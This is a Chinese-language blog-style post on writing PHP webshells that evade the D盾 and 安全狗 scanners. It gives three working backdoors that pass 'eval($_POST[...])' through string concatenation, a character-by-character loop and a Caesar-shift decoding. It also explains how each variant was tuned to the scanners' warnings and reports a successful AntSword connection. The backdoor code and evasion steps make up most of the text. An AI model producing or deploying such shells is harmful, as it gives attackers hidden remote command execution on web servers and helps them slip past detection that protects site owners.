简介
个人觉得在编写免杀的webshell的时候,不是随便把几种方式拼凑起来,而是根据提示的信息进行修改。
示例一(2021-6-9)
从图片中可以看出,D盾对于eval(1)虽然报毒,但是级别为1,说明它其实不确定这是不是后门。但是它提示参数为1,说明它能匹配到明文参数,如果参数是变量呢?
当参数是变量时,D盾也能直接匹配到,是因为该变量是直接赋值的原因吗?如果该变量是通过计算/拼接方式获得的呢?
发现如果变量是通过拼接方式获取时,D盾还是会判定该变量为参数,猜测原因是拼接的方式还是过于简单,可以尝试使用其他变量拼接字符串,再将值传递给变量a。同时提示存在$_POST[]超全局预定义函数,可以再给变量赋值时,折断该部分。
通过变量d来传递参数,仍然可以检测出来,尝试遍历字符串再赋值给变量a。经过上面操作D盾不报关于$_POST[]的内容。
通过遍历字符串的方式赋值,D盾不再报毒,但是该webshell无法执行。
因为eval()构造器会将我们输入的字符串以PHP代码的方式运行,因为我们通过变量传入的是字符串,不是直接通过$_POST[]传入的数据流,所以需要传入完整的PHP语句,即eval(‘eval($_POST[cmd]);‘);
,语句中的分号也不能少。
D盾和安全狗均没有检测出该webshell。
蚁剑链接成功。
// 2021-6-9
<?php
$b = ‘eval($_PO‘;
$c = ‘ST[cmd]);‘;
$d = $b. $c ;
for ($i=0; $i < strlen($d); $i++) {
$a .= $d[$i];
}
eval($a);
?>
示例二(2021-6-10)
这个我想的是加密的方式进行绕过。通过示例一可以得知,eval()中的变量,值如果不是明显符合webshell特征的话,D盾是不报毒的。所以可以对一个字符串处理后,再通过变量的方式传递给eval()。
使用的是凯撒加密的思想,通过左移一位,我个人感觉这个示例跟示例一一样的思想。
<?php
$a = ‘du`k($_ONRS[w]);‘;
for ($i=0; $i < strlen($a); $i++) {
if ((ord($a[$i]) >= 96 and ord($a[$i]) < 123) or (ord($a[$i]) > 64 and ord($a[$i]) < 91)) {
$b .= chr(ord($a[$i]) + 1);
}else{
$b .= $a[$i];
}
}
eval($b);
?>
虽然D盾没有查杀出来,但是安全狗查出来了。
想法是安全狗对于“形”的查杀弱一点,但是通过一些字符串操作函数没能成功,通过字符串拼接成功了?? 。
<?php
$a = ‘u`k($_ONRS[w]);‘;
for ($i=0; $i < strlen($a); $i++) {
if ((ord($a[$i]) >= 96 and ord($a[$i]) < 123) or (ord($a[$i]) > 64 and ord($a[$i]) < 91)) {
$b .= chr(ord($a[$i]) + 1);
}else{
$b .= $a[$i];
}
}
$c = ‘e‘;
eval($c.$b);
?>